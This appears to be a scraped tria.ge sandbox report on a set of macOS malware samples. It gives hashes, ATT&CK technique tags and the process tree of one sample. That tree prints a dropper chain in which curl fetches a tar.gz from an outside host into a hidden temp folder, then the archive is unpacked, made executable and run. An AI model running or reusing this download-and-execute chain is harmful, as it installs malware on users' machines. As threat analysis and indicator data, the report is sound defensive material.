Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
10Macos-Malw...0d9d0b
macos-10.15-amd64
7Macos-Malw...e6cad8
macos-10.15-amd64
7Macos-Malw...858d9a
macos-10.15-amd64
1Macos-Malw...8a248d
macos-10.15-amd64
7Macos-Malw...a2394d
macos-10.15-amd64
1Macos-Malw...db8b08
macos-10.15-amd64
7Macos-Malw...1dd006
macos-10.15-amd64
7Macos-Malw...4b1694
macos-10.15-amd64
1Macos-Malw...cba061
macos-10.15-amd64
7Macos-Malw...0ac417
macos-10.15-amd64
1Macos-Malw...623edb
macos-10.15-amd64
1Macos-Malw...715108
macos-10.15-amd64
1Macos-Malw...0f989b
macos-10.15-amd64
1Macos-Malw...5953fb
macos-10.15-amd64
7Macos-Malw...997f4e
macos-10.15-amd64
1Macos-Malw...c42693
macos-10.15-amd64
1Macos-Malw...178f1a
macos-10.15-amd64
7Macos-Malw...bb3f2a
macos-10.15-amd64
7Macos-Malw...cfc69b
macos-10.15-amd64
7Macos-Malw...53d096
macos-10.15-amd64
7Macos-Malw...c2eb29
macos-10.15-amd64
7Macos-Malw...684200
macos-10.15-amd64
1Macos-Malw...e2020a
macos-10.15-amd64
7Macos-Malw...e86dc4
macos-10.15-amd64
1Macos-Malw...884d52
macos-10.15-amd64
7Macos-Malw...32440c
macos-10.15-amd64
7Macos-Malw...11b661
macos-10.15-amd64
7Macos-Malw...40d4f3
macos-10.15-amd64
1Macos-Malw...c98e38
macos-10.15-amd64
1Macos-Malw...bf2f25
macos-10.15-amd64
1Macos-Malw...7ca34f
macos-10.15-amd64
1Macos-Malw...f5704d
macos-10.15-amd64
1Analysis
-
max time kernel
93s -
max time network
160s -
platform
macos-10.15_amd64 -
resource
macos-20241101-en -
resource tags
arch:amd64arch:i386image:macos-20241101-enkernel:19b77alocale:en-usos:macos-10.15-amd64system -
submitted
17/02/2025, 18:06
Behavioral task
behavioral1
Sample
Macos-Malware-Samples-main/0052d11ec131650f366d1aaaf4f33679ea17888f183fde160521bf83260d9d0b
Resource
macos-20241106-en
Behavioral task
behavioral2
Sample
Macos-Malware-Samples-main/00dba8d8d361fae719a6b19e95be78674644466d7956255166d5200df4e6cad8
Resource
macos-20241101-en
Behavioral task
behavioral3
Sample
Macos-Malware-Samples-main/01eb2769eae55ea11753cc9fa9d8d735c441a80211acd4abda99d51af8858d9a
Resource
macos-20241101-en
Behavioral task
behavioral4
Sample
Macos-Malware-Samples-main/0333434276741185b03d6a1ec4c97a49a34d73bf9138d5d039bd5cb96b8a248d
Resource
macos-20241106-en
Behavioral task
behavioral5
Sample
Macos-Malware-Samples-main/04741b492b2b4f692e7695bc6b88231b6df7fbe952057b6bedd9c8f2b5a2394d
Resource
macos-20241106-en
Behavioral task
behavioral6
Sample
Macos-Malware-Samples-main/07afda7e002fbfb8bf8325ff4d2e48b9a0bce8a7090e58b0da72ac302ddb8b08
Resource
macos-20241101-en
Behavioral task
behavioral7
Sample
Macos-Malware-Samples-main/07ba2f8c2575e1abf2f53ca10e4d0c9fedfba47f20eb99f67d0e4e2ad01dd006
Resource
macos-20241106-en
Behavioral task
behavioral8
Sample
Macos-Malware-Samples-main/08cf10e3df9f9aa05636875b6c52b0315b0d701d19049394cc1dad0ee24b1694
Resource
macos-20241101-en
Behavioral task
behavioral9
Sample
Macos-Malware-Samples-main/0941ef4c37d983720934aae64b03511d5707f7e77d4ed7f9d31cfd8e8ecba061
Resource
macos-20241101-en
Behavioral task
behavioral10
Sample
Macos-Malware-Samples-main/09d8f11a0c75a569cdeda1a6664c1d1698eb0f25e278545f0f39cc25200ac417
Resource
macos-20241106-en
Behavioral task
behavioral11
Sample
Macos-Malware-Samples-main/0adb733069b3d16e95049eedab4af182ab6c79dfe3b66caeddf95974ed623edb
Resource
macos-20241106-en
Behavioral task
behavioral12
Sample
Macos-Malware-Samples-main/0afa585ed6cbb4ac3bc971337c872a45f003c1e3344a88d5180332830e715108
Resource
macos-20241101-en
Behavioral task
behavioral13
Sample
Macos-Malware-Samples-main/0c7187697236d27ecab6641ea13d863113ab12229bee0060e03ff06b9d0f989b
Resource
macos-20241106-en
Behavioral task
behavioral14
Sample
Macos-Malware-Samples-main/0ca84388595085383469eef8f4e226a7323922a0482f507fdffac5909e5953fb
Resource
macos-20241106-en
Behavioral task
behavioral15
Sample
Macos-Malware-Samples-main/0ce3e6c13d79452560a88c667063a48392e9fc8a54b90afab3f8f9aa02997f4e
Resource
macos-20241101-en
Behavioral task
behavioral16
Sample
Macos-Malware-Samples-main/0d64705a29367ad7044ac351367a0d6791acead7a533c2c3e1e333bf48c42693
Resource
macos-20241106-en
Behavioral task
behavioral17
Sample
Macos-Malware-Samples-main/0dfba51458d99d4ff57a365c0e57816d2b55b2ed8f825bfae69441f5df178f1a
Resource
macos-20241106-en
Behavioral task
behavioral18
Sample
Macos-Malware-Samples-main/0e945fbc18090696c342731d1ddb5d6e886f83b91e698017964f21a27ebb3f2a
Resource
macos-20241101-en
Behavioral task
behavioral19
Sample
Macos-Malware-Samples-main/0ee6c8fd43c03e8dc7ea081dfa428f22209ed658f4ae358b867de02030cfc69b
Resource
macos-20241106-en
Behavioral task
behavioral20
Sample
Macos-Malware-Samples-main/11ddbb40f941cb946b7865e3e8b67dd97fe401f26f441e943fc916970c53d096
Resource
macos-20241101-en
Behavioral task
behavioral21
Sample
Macos-Malware-Samples-main/1273c31fdcb2d76f3ae90d58f71bdee9c9c5be3f4d0097620419d7f030c2eb29
Resource
macos-20241101-en
Behavioral task
behavioral22
Sample
Macos-Malware-Samples-main/12802610a8b728bb3944fdca9163af2e290d5b64580aca2313de8ee6f7684200
Resource
macos-20241101-en
Behavioral task
behavioral23
Sample
Macos-Malware-Samples-main/130a6142c7768de9df4930b3a374c2352c356d93159c6b69d706aa7bace2020a
Resource
macos-20241101-en
Behavioral task
behavioral24
Sample
Macos-Malware-Samples-main/1366cf5a7863e813102e646a94e329eeb1532ff3f66789f035bab3d5f7e86dc4
Resource
macos-20241106-en
Behavioral task
behavioral25
Sample
Macos-Malware-Samples-main/1442488066ece4b88832dd96945212d220b2fa5306b52790bafe059f46884d52
Resource
macos-20241106-en
Behavioral task
behavioral26
Sample
Macos-Malware-Samples-main/156bbc4d4c973201598a3a2d73647da371a2b202e5340c28dda74f831032440c
Resource
macos-20241106-en
Behavioral task
behavioral27
Sample
Macos-Malware-Samples-main/156e3d2ef4b0afa34f61cb01989fae2ca1c0b98cb122d166b163038c3a11b661
Resource
macos-20241106-en
Behavioral task
behavioral28
Sample
Macos-Malware-Samples-main/15b7ff9ea653d07bbe7cfbde8169bf6850764820ca64edca27d68a345340d4f3
Resource
macos-20241101-en
Behavioral task
behavioral29
Sample
Macos-Malware-Samples-main/15c2cf26630364c65e9f3c7f9e0405a963120678e1b6f8cb1322d40effc98e38
Resource
macos-20241101-en
Behavioral task
behavioral30
Sample
Macos-Malware-Samples-main/15d5b366c14477ecaf75c1ab7dfd4d28874da51a9eea538963e785adebbf2f25
Resource
macos-20241101-en
Behavioral task
behavioral31
Sample
Macos-Malware-Samples-main/15e2e13655525866899abf4f800b700e3aa422a5d0dcb876f00fad22607ca34f
Resource
macos-20241101-en
Behavioral task
behavioral32
Sample
Macos-Malware-Samples-main/15e9df4901e5d1bbe1f48bed5e1fb885809a9d733ec060fba4e0a7ed9bf5704d
Resource
macos-20241106-en
General
-
Target
Macos-Malware-Samples-main/00dba8d8d361fae719a6b19e95be78674644466d7956255166d5200df4e6cad8
-
Size
48KB
-
MD5
4f14f61b4080df48f0595f007d6b4ce2
-
SHA1
851871658beb0a9b5a031fd884ccc62732ed4b86
-
SHA256
00dba8d8d361fae719a6b19e95be78674644466d7956255166d5200df4e6cad8
-
SHA512
748184b16144fe43ec94815d9be30053dff9b5eb0fdd132755e1eb3b331c22fce4032c34008fa2687c51d2992bf1608f604b68ddf937e10ff21ba9f60ea731d2
-
SSDEEP
1536:bFF1Bn3+enFkTV2Py+bGd6kidOdW55XC:D1Bn3+cFkTV6xbmqd7C
Malware Config
Signatures
-
Exfiltration Over Alternative Protocol 1 TTPs 1 IoCs
Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.
ioc Process /usr/bin/curl -qsL -m 1200 "http://bghui.storeyourstreams.xyz/tr/ioffers.tar.gz?ts=1739844744" -o /private/tmp/.mmstmp//stmp.tar.gz Process not Found -
File Permission 1 TTPs
Adversaries may modify file permissions/attributes to evade access control lists (ACLs) and access protected files.
-
Resource Forking 1 TTPs 1 IoCs
Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.
ioc Process /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python - Process not Found -
Command and Scripting Interpreter 1 TTPs
Adversaries may abuse Unix shell commands and scripts for execution.
Processes
-
/bin/shsh -c "sudo /bin/zsh -c \"/Users/run/Macos-Malware-Samples-main/00dba8d8d361fae719a6b19e95be78674644466d7956255166d5200df4e6cad8\""1⤵PID:490
-
/bin/bashsh -c "sudo /bin/zsh -c \"/Users/run/Macos-Malware-Samples-main/00dba8d8d361fae719a6b19e95be78674644466d7956255166d5200df4e6cad8\""1⤵PID:490
-
/usr/bin/sudosudo /bin/zsh -c /Users/run/Macos-Malware-Samples-main/00dba8d8d361fae719a6b19e95be78674644466d7956255166d5200df4e6cad81⤵PID:490
-
/bin/zsh/bin/zsh -c /Users/run/Macos-Malware-Samples-main/00dba8d8d361fae719a6b19e95be78674644466d7956255166d5200df4e6cad82⤵PID:491
-
-
/Users/run/Macos-Malware-Samples-main/00dba8d8d361fae719a6b19e95be78674644466d7956255166d5200df4e6cad8/Users/run/Macos-Malware-Samples-main/00dba8d8d361fae719a6b19e95be78674644466d7956255166d5200df4e6cad82⤵PID:491
-
/usr/bin/python/usr/bin/python -3⤵PID:492
-
-
/System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python/System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python -3⤵PID:492
-
/usr/bin/curl/usr/bin/curl -qsL -m 1200 "http://bghui.storeyourstreams.xyz/tr/ioffers.tar.gz?ts=1739844744" -o /private/tmp/.mmstmp//stmp.tar.gz4⤵PID:493
-
-
-
-
/bin/shsh -c "/usr/bin/tar -xvzf /private/tmp/.mmstmp//stmp.tar.gz -C /private/tmp/.mmstmp/"1⤵PID:494
-
/bin/bashsh -c "/usr/bin/tar -xvzf /private/tmp/.mmstmp//stmp.tar.gz -C /private/tmp/.mmstmp/"1⤵PID:494
-
/usr/bin/tar/usr/bin/tar -xvzf /private/tmp/.mmstmp//stmp.tar.gz -C /private/tmp/.mmstmp/1⤵PID:494
-
/bin/shsh -c "/bin/chmod +x '/private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos'"1⤵PID:495
-
/bin/bashsh -c "/bin/chmod +x '/private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos'"1⤵PID:495
-
/bin/chmod/bin/chmod +x /private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos1⤵PID:495
-
/bin/shsh -c "'/private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos'"1⤵PID:496
-
/bin/bashsh -c "'/private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos'"1⤵PID:496
-
/private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos/private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos1⤵PID:496
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Hide Artifacts
1Resource Forking
1